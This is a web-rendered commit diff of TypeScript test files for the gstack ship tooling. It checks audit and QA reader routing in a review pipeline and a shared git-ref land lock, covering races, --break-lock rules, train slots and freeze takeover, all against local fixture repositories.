test('a QA extra, by name or by its section\'s parent-only brief, stops the pass before any reader is created', async () => {
const section = fs.readFileSync(path.join(ROOT, 'ship/sections/review-army.md'), 'utf8');
expect(section).toContain(PARENT_ONLY_QA);
const brief = section.slice(section.indexOf('### Step 9.2.1'), section.indexOf('### Step 9.3'));
for (const [name, text] of [['qa', 'QA brief'], ['exploratory', brief]] as const) {
const { dir, env } = repo();
const out = path.join(dir, '.state/run/p1');
fs.mkdirSync(out, { recursive: true });
fs.writeFileSync(path.join(out, name + '.prompt.md'), text);
const h = host(dir, env);
const res = await runPass(h, { base: 'main', out, pass: 'x14p1', planFlags: ['--depth-floor', 'full'],
extras: [{ name, prompt_file: path.join(out, name + '.prompt.md'), model: { model_id: 'anthropic/claude-haiku-5-5', reasoning_mode: 'low' } }] });
expect([name, res.includes('STOP:'), res.includes("Step 9.2.1 is the parent's report-only discovery"), h.creates.length]).toEqual([name, true, true, 0]);
}
}, 240_000);
test('decision 3.5 runs in the program: one fix-check reader whose prompt is the render CLI brief byte for byte, sent and collected', async () => {
const { dir, env } = repo();
@@ -704,8 +728,8 @@ describe('a scoped pass after a blocker fix (GST-619)', () => {
const out = path.join(dir, '.state/run/p2');
const extras = path.join(dir, '.state/extras.json');
fs.mkdirSync(path.join(dir, '.state'), { recursive: true });
fs.writeFileSync(path.join(dir, '.state/qa.md'), 'QA the fix.\n');
fs.writeFileSync(extras, JSON.stringify([{ name: 'qa', prompt_file: path.join(dir, '.state/qa.md') }]));
fs.writeFileSync(path.join(dir, '.state/plan.md'), 'Check the plan items against the fix.\n');
fs.writeFileSync(extras, JSON.stringify([{ name: 'plan', prompt_file: path.join(dir, '.state/plan.md') }]));
const args = ['pass', '--base', 'main', '--out', out, '--pass', 'p2', '--extras', extras, '--', '--pass', '1', '--last', 'full', '--pass1-depth', 'standard', '--fixed-blocking', ...flags, '--range-base', rangeBase.slice(0, 7)];
const p = bin(dir, env, args);
expect(p.status, p.stdout + p.stderr).toBe(0);
@@ -727,7 +751,7 @@ describe('a scoped pass after a blocker fix (GST-619)', () => {
const s = scoped([]);
expect(s.m.next).toBe('scoped');
expect(s.m.diff_base).toBe(s.mergeBase);
expect(s.m.readers.map(r => [r.reader, r.diff_base ?? null])).toEqual([['red-team', s.rangeBase], ['adversarial-native', null], ['outside-voice', null], ['audit/qa', null]]);
expect(s.m.readers.map(r => [r.reader, r.diff_base ?? null])).toEqual([['red-team', s.rangeBase], ['adversarial-native', null], ['outside-voice', null], ['audit/plan', null]]);
settle(s, 'specialists');
const m = settle(s, 'red-team');
const redTeam = fs.readFileSync(m.readers.find(r => r.reader === 'red-team')!.file!, 'utf8');
@@ -745,7 +769,7 @@ describe('a scoped pass after a blocker fix (GST-619)', () => {
test('after Step 11 ran (--adversarial-ran), the whole scoped pass reads the fix range', () => {
const s = scoped(['--adversarial-ran']);
expect(s.m.diff_base).toBe(s.rangeBase);
expect(s.m.readers.map(r => [r.reader, r.diff_base ?? null])).toEqual([['red-team', s.rangeBase], ['adversarial-native', null], ['audit/qa', null]]);
expect(s.m.readers.map(r => [r.reader, r.diff_base ?? null])).toEqual([['red-team', s.rangeBase], ['adversarial-native', null], ['audit/plan', null]]);
}, 120_000);
});
-2
View File
@@ -34,8 +34,6 @@ const KNOWN_SITES: Record<string, string> = {
'bin/gstack-issue-links': 'outside this wave: the gstack-issue-guard spawn moves to runScriptSync',
// Found when the bin-constant rule was added (fix wave PR 5, item 10b).
'bin/gstack-brain-cache': 'outside this wave: the gstack-config salience read moves to runScriptSync',
// Found when the scanner learned the import.meta.url bin path (#3541).
'bin/gstack-ship-receipt': 'the gstack-session-kind spawn moves to runScriptSync in the #3541 ship-receipt follow-up',
'lib/autoplan-admission.ts': 'returns before the spawn on win32; the bin/gstack-lease touch moves to runScriptSync with that bin\'s owner',
};
+23 -2
View File
@@ -219,16 +219,37 @@ describe('variant G: the call plan, observe budget, waits and audit readers (GST
expect(flat(read('ship/sections/budget-handoff.md.tmpl'))).toContain('the wait until the last settles (`done`, `failed` or a final summary; a fresh `idle` has not run)');
});
// Value: protects=audits that cannot block (Steps 7, 8, 9.2.1, 14.5) run on a small model at low effort with their sections' own briefs, and skip their reader when --audit decides them; fails_when=an audit reader inherits the lane's model and effort (#36: the coverage audit alone was 2.45M at Opus), or an audit brief is paraphrased;
// Value: protects=audits that cannot block (Steps 7, 8, 14.5) run on a small model at low effort with their sections' own briefs, and skip their reader when --audit decides them; fails_when=an audit reader inherits the lane's model and effort (#36: the coverage audit alone was 2.45M at Opus), or an audit brief is paraphrased;
// why_new=audit model routing is new; seam=none; no_claim=the audits' recall
test('audit readers run on a small model at low effort, named for Capy, and Phase 3 dispatches only what READER names', () => {
expect(flat(doc)).toContain('Audit readers (Steps 7, 8, 9.2.1, 14.5) cannot block, so each runs on a small model at low effort; their findings go to the PR body');
expect(flat(doc)).toContain('Audit readers (Steps 7, 8, 14.5) cannot block, so each runs on a small model at low effort; their findings go to the PR body');
expect(flat(doc)).toContain('`Coverage:` and Step 8\'s line come from `--audit` when no reader ran');
const capy = read('capy/skill/gstack/SKILL.md');
expect(capy).toContain('model: { model_id: "anthropic/claude-sonnet-5-5", reasoning_mode: "low" }');
expect(capy).toContain('`anthropic/claude-haiku-5-5` also fits');
});
// Value: protects=Step 9.2.1's report-only probes run in the parent's own Phase 4 program, as the section says, with its Reads in Phase 3, and
// their result line reaches the record, at no extra call; fails_when=the driver or the Capy skill sends Step 9.2.1 out as a QA reader
// (C4-36, C5-36: it refused both passes, "parent-only", and QA coverage was empty), the probes leave the record, or they take their own call;
// why_new=#3648 made Step 9.2.1 a reader (GST-450); seam=none; no_claim=the probes' recall
test('Step 9.2.1 is the parent\'s: Reads in Phase 3, probes in Phase 4\'s one program, Exploratory QA in the record, never an extra', () => {
const f = flat(doc);
const phase = (n: number) => f.slice(f.indexOf(`## ${n}. `), f.indexOf(`## ${n + 1}. `));
expect(phase(3)).not.toMatch(/QA reader/);
expect(phase(3)).toContain("9.2.1's Reads only");
expect(phase(4)).toContain("Step 8.1, 9.2.1's probes, 8.2 (`Scope Check:`)");
const at = ['Step 8.1', "9.2.1's probes", '8.2 (`Scope Check:`)', 'Steps 9.3, 9.4 and the repeat decision'].map(s => phase(4).indexOf(s));
expect(at[0]).toBeGreaterThanOrEqual(0);
expect(at).toEqual([...at].sort((a, b) => a - b));
expect(phase(4)).toContain('one program');
expect(f).toContain('the plan checks, `Exploratory QA:`, `Scope Check:`), **Decisions**');
const capy = flat(read('capy/skill/gstack/SKILL.md'));
expect(capy).toContain('Steps 7, 8 and 14.5 (`step: "14.5"`) use `extras`');
expect(capy).not.toMatch(/9\.2\.1[^.]*`extras`/);
expect(flat(read('ship/sections/review-army.md'))).toContain('### Step 9.2.1: Exploratory QA (before Fix-First) Only the parent runs report-only discovery.');
});
// Value: protects=a driven /ship dispatches every blocking reader on its rendered brief file unchanged, checks it with `sent`, merges findings only through `collect`, gates judgment with `judge` and verifies the run before the bind; fails_when=the driver lets the model write or trim a brief again or merge findings in prose (round 4b: arm D lost 8 blockers with 75 of 112 briefs paraphrased);
// why_new=the driver named no renderer or hash check; seam=none; no_claim=the parent's adherence, which verify checks after the fact
test('briefs go out as rendered and findings come back unchanged: render, sent, collect, judge, verify', () => {
+368
View File
@@ -0,0 +1,368 @@
/**
* The shared land lock (lib/ship-queue-land-lock.ts, #3599): `land` and `train land` take the same
* refs/notes/gstack-land lock, so a standalone land and a train slot can never both publish onto one main.
* Module cases run against a bare origin and two clones (the race, the read states, owner kinds, the
* --break-lock rules); command cases drive bin/gstack-ship-queue against the train fixture and its gh
* shims (both directions, the train-scoped between phase, refusal and resume, the freeze-owned lock and the
* repair train's takeover).
*/
import { afterEach, describe, expect, test } from 'bun:test';
import * as fs from 'node:fs';
import * as path from 'node:path';
import { EXIT } from '../lib/headless-artifacts';
import { acquireLandLock, LAND_LOCK_REF, readLock, writeLock, type LandLock, type LockOwner } from '../lib/ship-queue-land-lock';
import { BASE_POLICY, cleanup, makeFixtureRepo, type FixtureRepo } from './helpers/restamp-fixture';
import { coordinatorClone } from './helpers/ship-queue-fixture';
import {
GREEN_GATE, TRAIN_POLICY, fragmentPr, nonceOf, queue, repoKey, trainFixture, trainJson, wrapLand, type TrainFixture,
} from './helpers/ship-queue-train-fixture';
const repos: FixtureRepo[] = [];
const fixtures: TrainFixture[] = [];
afterEach(() => {
while (repos.length) cleanup(repos.pop()!);
while (fixtures.length) cleanup(fixtures.pop()!.repo);
});
const T0 = Date.parse('2026-10-31T12:00:00Z');
const at = (min: number) => () => new Date(T0 + min * 60_000);
/** Run fn with the fixture's git identity in process.env (the lock writes commits in-process). */
function withRepoEnv<T>(repo: FixtureRepo, fn: () => T): T {
const saved = Object.fromEntries(Object.keys(repo.env).map(k => [k, process.env[k]]));
Object.assign(process.env, repo.env);
try { return fn(); } finally {
for (const [k, v] of Object.entries(saved)) { if (v === undefined) delete process.env[k]; else process.env[k] = v; }
}
}
function bareRepo(): FixtureRepo { const r = makeFixtureRepo({ policy: BASE_POLICY, prefix: 'gstack-land-lock-' }); repos.push(r); return r; }
const standalone = (pr: string): LockOwner => ({ pr });
const slotOf = (train: string, slot: number, pr: string): LockOwner => ({ train, slot, pr });
function take(root: string, owner: LockOwner, o: { journal?: string; now?: () => Date; breakLock?: boolean; breakTrainLock?: boolean; liveTrain?: (nonce: string) => boolean; phase?: LandLock['phase'] } = {}) {
return acquireLandLock({
root, holder: 'test:1', owner, journal: o.journal ?? ('train' in owner && owner.train ? `train/${owner.train}/slot-${owner.slot}` : `land/${owner.pr}`),
phase: () => o.phase ?? 'stamping', now: o.now ?? at(0), breakLock: o.breakLock, breakTrainLock: o.breakTrainLock, liveTrain: o.liveTrain,
});
}
const failureOf = (r: ReturnType<typeof take>) => ('failure' in r ? r.failure : null);
describe('the lock module', () => {
test('two writers racing the same lock sha leave one winner', () => {
const repo = bareRepo();
const other = coordinatorClone(repo);
withRepoEnv(repo, () => {
const lock = (pr: string): LandLock => ({ pr, holder: `h${pr}`, started_at: new Date(T0).toISOString(), phase: 'stamping', journal: `land/${pr}` });
expect(readLock(repo.work).state).toBe('absent');
const first = writeLock(repo.work, '', lock('1'));
const second = writeLock(other, '', lock('2'));
expect([first.ok, second.ok]).toEqual([true, false]);
const seen = readLock(other);
expect(seen.state === 'held' && seen.lock.pr).toBe('1');
const a = writeLock(repo.work, seen.sha, lock('3'));
const b = writeLock(other, seen.sha, lock('4'));
expect([a.ok, b.ok]).toEqual([true, false]);
const final = readLock(other);
expect(final.state === 'held' && final.lock.pr).toBe('3');
});
}, 60_000);
test('absent, released, held and unreadable are distinct; an unreadable lock refuses, and --break-lock replaces it', () => {
const repo = bareRepo();
withRepoEnv(repo, () => {
const root = repo.work;
expect(readLock(root)).toMatchObject({ state: 'absent' });
const got = take(root, standalone('5'));
expect(failureOf(got)).toBeNull();
expect(readLock(root)).toMatchObject({ state: 'held', lock: { pr: '5', phase: 'stamping' } });
if ('held' in got) expect(got.held.release()).toBe(true);
expect(readLock(root)).toMatchObject({ state: 'released' });
const junk = repo.git('commit-tree', '4b825dc642cb6eb9a060e54bf8d69288fbee4904', '-m', 'not a lock');
repo.git('push', '-q', '-f', 'origin', `${junk}:${LAND_LOCK_REF}`);
expect(readLock(root)).toMatchObject({ state: 'unreadable' });
const refused = take(root, standalone('6'));
expect(failureOf(refused)).toMatchObject({ code: 'QUEUE_LAND_LOCKED' });
expect(failureOf(refused)!.message).toContain('cannot be read');
const broke = take(root, standalone('6'), { breakLock: true });
expect(failureOf(broke)).toBeNull();
expect(broke.lines.join('\n')).toContain(`LOCK: broke an unreadable lock at ${junk.slice(0, 12)}`);
expect(readLock(root)).toMatchObject({ state: 'held', lock: { pr: '6' } });
});
}, 60_000);
test('ownership compares the owner kind and journal: the same PR across commands and across trains refuses; a resume of the same journal and a sequential acquisition succeed', () => {
const repo = bareRepo();
withRepoEnv(repo, () => {
const root = repo.work;
const mine = take(root, standalone('7'), { phase: 'waiting' });
expect(failureOf(mine)).toBeNull();
const asSlot = take(root, slotOf('trainA', 1, '7'));
expect(failureOf(asSlot)).toMatchObject({ code: 'QUEUE_LAND_LOCKED' });
expect(failureOf(asSlot)!.message).toMatch(/^#7 holds the land lock \(test:1, phase waiting, since /);
const resumed = take(root, standalone('7'), { now: at(3) });
expect(failureOf(resumed)).toBeNull();
expect(readLock(root)).toMatchObject({ state: 'held', lock: { pr: '7', started_at: new Date(T0).toISOString() } });
if ('held' in resumed) resumed.held.release();
const trainA = take(root, slotOf('trainA', 1, '7'), { phase: 'pushing' });
expect(failureOf(trainA)).toBeNull();
expect(readLock(root)).toMatchObject({ state: 'held', lock: { train: 'trainA', slot: 1, pr: '7' } });
const trainB = take(root, slotOf('trainB', 1, '7'));
expect(failureOf(trainB)!.message).toMatch(/^train trainA slot 1 \(#7\) holds the land lock/);
expect(failureOf(take(root, standalone('7')))!.message).toMatch(/^train trainA slot 1 \(#7\) holds the land lock/);
expect(failureOf(take(root, slotOf('trainA', 2, '8')))!.message).toMatch(/^train trainA slot 1 \(#7\) holds the land lock/);
const same = take(root, slotOf('trainA', 1, '7'));
expect(failureOf(same)).toBeNull();
if ('held' in same) same.held.release();
expect(failureOf(take(root, standalone('8')))).toBeNull();
});
}, 60_000);
test('--break-lock prints the holder, refuses a live train run\'s lock without --break-train-lock, and keeps the staleness, mid-push, between and freeze rules', () => {
const repo = bareRepo();
withRepoEnv(repo, () => {
const root = repo.work;
const hold = (owner: LockOwner, phase: LandLock['phase']) => {
const r = readLock(root);
if (r.state === 'held') writeLock(root, r.sha, { released: true, by: 'test', at: new Date(T0).toISOString() });
expect(failureOf(take(root, owner, { phase }))).toBeNull();
};
hold(slotOf('trainA', 2, '9'), 'waiting');
const live = take(root, standalone('3'), { breakLock: true, now: at(1) });
expect(failureOf(live)).toMatchObject({ code: 'QUEUE_LAND_LOCKED' });
expect(failureOf(live)!.message).toContain('--break-train-lock');
expect(live.lines).toContain(`LOCK_HOLDER: train trainA slot 2 (#9) holder=test:1 phase=waiting since=${new Date(T0).toISOString()}`);
const ended = take(root, standalone('3'), { breakLock: true, now: at(1), liveTrain: () => false });
expect(failureOf(ended)).toBeNull();
expect(ended.lines).toContain("LOCK: broke train trainA slot 2 (#9)'s lock (test:1, phase waiting)");
hold(slotOf('trainA', 2, '9'), 'waiting');
const forced = take(root, standalone('3'), { breakLock: true, breakTrainLock: true, now: at(1) });
expect(failureOf(forced)).toBeNull();
hold(slotOf('trainA', 1, '9'), 'between');
const young = take(root, standalone('3'), { breakLock: true, breakTrainLock: true, now: at(1) });
expect(failureOf(young)!.message).toMatch(/train trainA slot 1 \(#9\) is between slots \(60 s ago\); --break-lock refused/);
expect(failureOf(take(root, standalone('3'), { breakLock: true, breakTrainLock: true, now: at(11) }))).toBeNull();
hold(slotOf('trainA', 1, '9'), 'pushing');
expect(failureOf(take(root, standalone('3'), { breakLock: true, breakTrainLock: true, now: at(1) }))!.message).toMatch(/train trainA slot 1 \(#9\)'s holder is mid-push \(60 s ago\); --break-lock refused/);
hold(slotOf('trainA', 1, '9'), 'freeze');
const frozen = take(root, standalone('3'), { breakLock: true, breakTrainLock: true, now: at(60) });
expect(failureOf(frozen)).toMatchObject({ code: 'QUEUE_TRAIN_FROZEN' });
expect(failureOf(take(root, slotOf('trainB', 1, '4'), { breakLock: true, breakTrainLock: true, now: at(60) }))).toMatchObject({ code: 'QUEUE_TRAIN_FROZEN' });
hold(standalone('5'), 'waiting');
const plain = take(root, standalone('3'), { breakLock: true, now: at(1) });
expect(plain.lines).toContain(`LOCK_HOLDER: #5 holder=test:1 phase=waiting since=${new Date(T0).toISOString()}`);
expect(plain.lines).toContain("LOCK: broke #5's lock (test:1, phase waiting)");
});
}, 60_000);
});
const POLICY = { ...TRAIN_POLICY, release_tool: null, release_outputs: [], changelog_fragments: { dir: 'changelog.d' }, min_gstack_version: '1.91.336.0' };
function stampedTrain(prs = ['1', '2']) {
const fx = trainFixture(POLICY, 'gstack-land-lock-'); fixtures.push(fx); wrapLand(fx);
const heads = prs.map(pr => fragmentPr(fx, pr));
fx.write(d => { d.rules['evals.yml'] = GREEN_GATE; });
const nonce = nonceOf(queue(fx, ['train', 'build', '--prs', prs.map((pr, i) => `${pr}@${heads[i]}`).join(',')]).out);
expect(queue(fx, ['train', 'verdict', '--train', nonce]).status).toBe(EXIT.ok);
return { fx, heads, nonce };
}
const trainLand = (fx: TrainFixture, nonce: string, pr: string, extra: string[] = []) => queue(fx, ['train', 'land', '--train', nonce, '--pr', pr, '--no-wait', ...extra]);
const land = (fx: TrainFixture, pr: string, extra: string[] = []) => queue(fx, ['land', '--pr', pr, '--no-wait', '--allow-repo-commands', ...extra]);
const originRev = (fx: TrainFixture, ref: string) => fx.repo.git('--git-dir', fx.repo.origin, 'rev-parse', '--verify', '-q', ref);
/** The lock as origin holds it: the parsed lock.json, or null when origin has no lock ref. */
function originLock(fx: TrainFixture): any {
const sha = (() => { try { return originRev(fx, LAND_LOCK_REF); } catch { return ''; } })();
return sha ? JSON.parse(fx.repo.git('--git-dir', fx.repo.origin, 'show', `${sha}:lock.json`)) : null;
}
const freezeFile = (fx: TrainFixture) => path.join(fx.state, 'ship-queue', 'freeze');
describe('land and train land share the lock', () => {
test('a train slot holding the lock refuses a standalone land (no takeover, no freeze; --break-lock names the train and wants --break-train-lock); the train keeps it between slots and releases it after the last', () => {
const { fx, heads, nonce } = stampedTrain();
const pin3 = fragmentPr(fx, '3');
const pushed = trainLand(fx, nonce, '1');
expect(pushed.out, pushed.err).toMatch(/^PUSHED: [0-9a-f]{40}/m);
expect(originLock(fx)).toMatchObject({ train: nonce, slot: 1, pr: '1', phase: 'waiting' });
const lockSha = originRev(fx, LAND_LOCK_REF);
const blocked = land(fx, '3');
expect(blocked.status).toBe(EXIT.refused);
expect(blocked.err).toMatch(new RegExp(`train ${nonce} slot 1 \\(#1\\) holds the land lock .*phase waiting.*\\(QUEUE_LAND_LOCKED\\)`));
const broke = land(fx, '3', ['--break-lock']);
expect(broke.status).toBe(EXIT.refused);
expect(broke.err).toContain('--break-train-lock');
expect(broke.out).toMatch(new RegExp(`^LOCK_HOLDER: train ${nonce} slot 1 \\(#1\\) holder=\\S+ phase=waiting since=`, 'm'));
expect(originRev(fx, LAND_LOCK_REF)).toBe(lockSha);
expect(originRev(fx, 'refs/heads/pr-3')).toBe(pin3);
expect(fs.existsSync(freezeFile(fx))).toBe(false);
const merged = trainLand(fx, nonce, '1');
expect(merged.status, merged.err).toBe(EXIT.ok);
expect(originLock(fx)).toMatchObject({ train: nonce, slot: 1, pr: '1', phase: 'between' });
expect(land(fx, '3').err).toMatch(new RegExp(`train ${nonce} slot 1 \\(#1\\) holds the land lock .*phase between.*\\(QUEUE_LAND_LOCKED\\)`));
expect(originRev(fx, 'refs/heads/pr-3')).toBe(pin3);
const second = trainLand(fx, nonce, '2');
expect(second.out, second.err).toMatch(/^LOCK: train \S+ slot 2 takes over its train's between-slots lock/m);
expect(originLock(fx)).toMatchObject({ train: nonce, slot: 2, pr: '2', phase: 'waiting' });
expect(trainLand(fx, nonce, '2').status).toBe(EXIT.ok);
expect(originLock(fx)).toMatchObject({ released: true });
expect(trainJson(fx, nonce).state).toBe('merged');
expect(land(fx, '3').out).toMatch(/^PUSHED: [0-9a-f]{40}/m);
void heads;
}, 300_000);
// fails_when=settleLock releases the lock on a refusal partway through a train, so one transient gh or fetch failure on slot 2 lets a standalone land publish onto S1 and the rerun freezes the queue (red team, PR #3737 pass 1); why_new=the test above refuses slot 1 only, before anything merged; seam=the fixture's gh pr view; no_claim=the freeze itself
test('a refusal partway through a train (slot 1 merged, slot 2 cannot read its PR) keeps the lock between slots, so a standalone land still refuses', () => {
const { fx, nonce } = stampedTrain();
fragmentPr(fx, '3');
trainLand(fx, nonce, '1');
expect(trainLand(fx, nonce, '1').status).toBe(EXIT.ok);
const row = fx.read().prs['2'];
fx.write(d => { delete d.prs['2']; });
const refused = trainLand(fx, nonce, '2');
expect(refused.err).toContain('(QUEUE_PROOF_MISSING)');
expect(refused.out).toMatch(/^LOCK: between /m);
expect(originLock(fx)).toMatchObject({ train: nonce, phase: 'between' });
expect(land(fx, '3').err).toMatch(/holds the land lock .*phase between.*\(QUEUE_LAND_LOCKED\)/);
fx.write(d => { d.prs['2'] = row; });
expect(trainLand(fx, nonce, '2').out).toMatch(/^PUSHED: [0-9a-f]{40}/m);
}, 300_000);
/** Another train's lock, written to origin as that train's run would have left it. */
function seedLock(fx: TrainFixture, lock: Partial<LandLock> & { train: string; phase: LandLock['phase'] }): void {
withRepoEnv(fx.repo, () => {
const cur = readLock(fx.repo.work);
expect(writeLock(fx.repo.work, cur.sha, { pr: '9', slot: 1, holder: 'old:1', started_at: '2026-10-31T12:00:00.000Z', phase_at: '2026-10-31T12:00:00.000Z', journal: `train/${lock.train}/slot-1`, ...lock } as LandLock).ok).toBe(true);
});
}
/** A freeze record for this repository, cleared at `cleared`, written to the state root as the clearing verify leaves it. */
function clearedFreeze(fx: TrainFixture, train: string, cleared: string): void {
const file = path.join(freezeFile(fx), `${repoKey(fx)}.json`);
fs.mkdirSync(path.dirname(file), { recursive: true });
fs.writeFileSync(file, JSON.stringify({ schema: 1, kind: 'freeze', repo_key: repoKey(fx), train, merged: ['9'], unmerged: [], main: { sha: '0'.repeat(40), tree: '0'.repeat(40) }, reason: 'test', backstop: null, repair: null, created_at: '2026-10-31T11:00:00.000Z', cleared_at: cleared, cleared_by: 'test', updated_at: cleared }));
}
// fails_when=trainTakeover reads "no active freeze record here" as "the freeze is cleared", so a train whose notes fetch failed, or whose freezer never pushed the record, takes the freeze lock and lands onto a frozen main (red team, PR #3737 pass 2); why_new=the freeze test above only exercises the admitted repair train's takeover; seam=a lock and a freeze record written straight to origin and the state root; no_claim=how the record went missing
test('another train\'s freeze lock is taken over only on a freeze record cleared after the lock: no record, or one cleared before it, refuses', () => {
const { fx, nonce } = stampedTrain(['1']);
const old = 'gate.train-old';
seedLock(fx, { train: old, phase: 'freeze' });
const noRecord = trainLand(fx, nonce, '1');
expect(noRecord.status).toBe(EXIT.refused);
expect(noRecord.err).toMatch(/train gate\.train-old slot 1 \(#9\) holds the land lock .*phase freeze.*\(QUEUE_LAND_LOCKED\)/);
expect(noRecord.out).not.toMatch(/^PUSHED:/m);
expect(originLock(fx)).toMatchObject({ train: old, phase: 'freeze' });
clearedFreeze(fx, old, '2026-10-31T11:30:00.000Z');
expect(trainLand(fx, nonce, '1').err).toContain('(QUEUE_LAND_LOCKED)');
clearedFreeze(fx, old, '2026-10-31T12:30:00.000Z');
const taken = trainLand(fx, nonce, '1');
expect(taken.out, taken.err).toContain(`LOCK: train ${nonce} takes over train ${old} slot 1 (#9)'s freeze lock; that freeze was cleared at 2026-10-31T12:30:00.000Z`);
expect(taken.out).toMatch(/^PUSHED: [0-9a-f]{40}/m);
}, 300_000);
// fails_when=a freeze lock whose release failed after its freeze cleared refuses every standalone land for good, or a lock ref deleted on origin still reads held from this clone's cached copy (adversarial review, PR #3737 Step 11); why_new=the tests above take the freeze lock over only from train land; seam=a lock and a freeze record written straight to origin and the state root; no_claim=why the release failed
test('a standalone land takes over a freeze lock once a fetched freeze record shows it cleared after the lock, and a lock deleted on origin reads as absent', () => {
const { fx } = stampedTrain(['1']);
fragmentPr(fx, '3');
seedLock(fx, { train: 'gate.train-old', phase: 'freeze' });
const frozen = land(fx, '3');
expect(frozen.status).toBe(EXIT.refused);
expect(frozen.err).toMatch(/train gate\.train-old slot 1 \(#9\) holds the land lock .*phase freeze.*\(QUEUE_LAND_LOCKED\)/);
clearedFreeze(fx, 'gate.train-old', '2026-10-31T12:30:00.000Z');
const taken = land(fx, '3');
expect(taken.out, taken.err).toContain("LOCK: taking over train gate.train-old slot 1 (#9)'s freeze lock; that freeze was cleared at 2026-10-31T12:30:00.000Z");
expect(taken.out).toMatch(/^PUSHED: [0-9a-f]{40}/m);
const { fx: other } = stampedTrain(['1']);
fragmentPr(other, '3');
seedLock(other, { train: 'gate.train-old', phase: 'waiting' });
expect(land(other, '3').err).toContain('(QUEUE_LAND_LOCKED)');
other.repo.git('--git-dir', other.repo.origin, 'update-ref', '-d', LAND_LOCK_REF);
expect(land(other, '3').out).toMatch(/^PUSHED: [0-9a-f]{40}/m);
}, 300_000);
// fails_when=trainTakeover treats a live train as terminal (two landers publish onto one main) or never takes over a finished train's lock (a stale lock blocks every later train); why_new=no other test seats a foreign train's lock; seam=a second train record written into the state root; no_claim=how that train ended
test('another train\'s lock is taken over once that train\'s record is terminal, and refused while it is still merging', () => {
const { fx, nonce } = stampedTrain(['1']);
const other = `${nonce}-other`;
const put = (state: string) => {
const dir = path.join(fx.state, 'ship-queue', 'trains', other);
fs.mkdirSync(dir, { recursive: true });
fs.writeFileSync(path.join(dir, 'train.json'), JSON.stringify({ ...trainJson(fx, nonce), nonce: other, state }));
};
put('merging');
seedLock(fx, { train: other, phase: 'waiting' });
expect(trainLand(fx, nonce, '1').err).toMatch(/holds the land lock .*phase waiting.*\(QUEUE_LAND_LOCKED\)/);
put('merged');
const taken = trainLand(fx, nonce, '1');
expect(taken.out, taken.err).toContain(`takes over train ${other} slot 1 (#9)'s lock; that train is merged`);
expect(taken.out).toMatch(/^PUSHED: [0-9a-f]{40}/m);
}, 300_000);
test('a standalone land holding the lock refuses train land; a refusal before any push releases the train\'s lock', () => {
const { fx, heads, nonce } = stampedTrain();
fragmentPr(fx, '3');
expect(land(fx, '3').out).toMatch(/^PUSHED: /m);
const blocked = trainLand(fx, nonce, '1');
expect(blocked.status).toBe(EXIT.refused);
expect(blocked.err).toMatch(/#3 holds the land lock .*phase waiting.*\(QUEUE_LAND_LOCKED\)/);
expect(blocked.out).not.toMatch(/^PUSHED:/m);
expect(originRev(fx, 'refs/heads/pr-1')).toBe(heads[0]);
expect(land(fx, '3').out).toContain('LOCK: released');
const stale = trainLand(fx, nonce, '1');
expect(stale.err).toMatch(/nothing of train \S+ merged, so the queue is not frozen.*\(QUEUE_TRAIN_TREE_MISMATCH\)/);
expect(originLock(fx)).toMatchObject({ released: true });
}, 300_000);
test('after a push the train keeps its lock through a failed wait and a resume takes it back', () => {
const { fx, nonce } = stampedTrain(['1']);
const stamp = /^PUSHED: ([0-9a-f]{40})/m.exec(trainLand(fx, nonce, '1').out)![1]!;
fx.write(d => { d.ci[stamp] = [{ name: 'free-tests', status: 'completed', conclusion: 'failure' }] as any; });
const red = trainLand(fx, nonce, '1');
expect(red.status).not.toBe(EXIT.ok);
expect(originLock(fx)).toMatchObject({ train: nonce, slot: 1, pr: '1', phase: 'waiting' });
fx.write(d => { delete d.ci[stamp]; });
const resumed = trainLand(fx, nonce, '1');
expect(resumed.status, resumed.err).toBe(EXIT.ok);
expect(originLock(fx)).toMatchObject({ released: true });
}, 300_000);
test('a stop that freezes leaves the lock in a freeze phase that --break-lock never breaks; only the admitted repair train takes it over, and it is released once the freeze clears', () => {
const { fx, nonce } = stampedTrain();
trainLand(fx, nonce, '1');
expect(trainLand(fx, nonce, '1').status).toBe(EXIT.ok);
trainLand(fx, nonce, '2');
fx.write(d => { (d as any).outsideOnMerge = true; });
const drift = trainLand(fx, nonce, '2');
expect(drift.err).toContain('(QUEUE_TRAIN_TREE_MISMATCH)');
expect(drift.out).toMatch(/^QUEUE_TRAIN_FROZEN: /m);
expect(originLock(fx)).toMatchObject({ train: nonce, phase: 'freeze' });
const lockSha = originRev(fx, LAND_LOCK_REF);
fragmentPr(fx, '3');
const refused = land(fx, '3', ['--break-lock', '--break-train-lock']);
expect(refused.status).toBe(EXIT.refused);
expect(refused.err).toContain('(QUEUE_TRAIN_FROZEN)');
expect(originRev(fx, LAND_LOCK_REF)).toBe(lockSha);
const h4 = fragmentPr(fx, '4');
const repair = queue(fx, ['train', 'build', '--repair', '--prs', `4@${h4}`]);
expect(repair.status, repair.err).toBe(EXIT.ok);
const rn = nonceOf(repair.out);
expect(queue(fx, ['train', 'verdict', '--train', rn]).status).toBe(EXIT.ok);
const taken = trainLand(fx, rn, '4');
expect(taken.out, taken.err).toMatch(new RegExp(`^LOCK: repair train ${rn} takes over the freeze lock of train ${nonce}`, 'm'));
expect(originLock(fx)).toMatchObject({ train: rn, slot: 1, pr: '4', phase: 'freeze' });
expect(land(fx, '3', ['--break-lock', '--break-train-lock']).err).toContain('(QUEUE_TRAIN_FROZEN)');
const cleared = trainLand(fx, rn, '4');
expect(cleared.status, cleared.err).toBe(EXIT.ok);
expect(cleared.out).toMatch(/^FREEZE: cleared /m);
expect(originLock(fx)).toMatchObject({ released: true });
}, 600_000);
});
+8 -2
View File
@@ -5,7 +5,7 @@ import * as path from 'node:path';
import { EXIT } from '../lib/headless-artifacts';
import { cleanup } from './helpers/restamp-fixture';
import { coordinatorClone } from './helpers/ship-queue-fixture';
import { publishMain, twoPrTrain } from './helpers/ship-queue-train-cases';
import { laneStamp, markMerged, publishMain, twoPrTrain } from './helpers/ship-queue-train-cases';
import {
TRAIN_POLICY, dispatches, line, nonceOf, openPr, queue, readyReceipt, repoKey, trainFixture, trainJson,
type TrainFixture,
@@ -28,8 +28,10 @@ describe('verify, freeze, repair and clear', () => {
const v = (pr: string) => queue(fx, ['verify', '--pr', pr, '--train', nonce], {}, coord);
const released = (prefix: string, version: string) => fx.repo.git('show', `${prefix}:CHANGELOG.md`).replace('## [Unreleased]', `## [${version}] - 2026-10-18`) + '\n';
const main1 = publishMain(fx, t.prefixes[1].commit, '1.2.4.0', { file: 'CHANGELOG.md', text: released(t.prefixes[1].commit, '1.2.4.0') });
markMerged(fx, '1');
expect(v('1').status).toBe(EXIT.ok);
